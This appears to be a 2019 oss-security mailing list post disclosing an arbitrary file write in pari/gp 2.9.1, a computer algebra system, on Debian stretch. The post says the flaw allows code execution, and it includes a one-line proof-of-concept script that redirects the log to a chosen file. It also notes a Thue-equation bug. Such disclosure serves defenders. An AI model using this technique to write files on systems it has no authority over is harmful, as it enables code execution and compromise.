[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAGUWgD8TFq0E0yDf9sDMqLny755_Bh+19Q9ynA2RT9+Lidsxsg@mail.gmail.com>
Date: Mon, 1 Jul 2019 10:32:17 +0300
From: Georgi Guninski <gguninski@...il.com>
To: oss-security <oss-security@...ts.openwall.com>
Subject: pari/gp arbitrary file write
pari/gp is CAS (computer algebra system).
pari/gp version 2.9.1 on debian stretch allows arbitrary file write and
hence arbitrary code execution.
poc:
========
\\ a.gp
\\ to run: \r a.gp
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");
========
Of mathematical interest is pari was missing solutions
to Thue equations when assuming GRH (the fix changed polynomial
bound to exponential bound):
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html
t=thue(thueinit(x^3+92*x+1,0),3^3);t
--
joro
http://www.guninski.com
https://j.ludost.net/resumegg.pdf
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
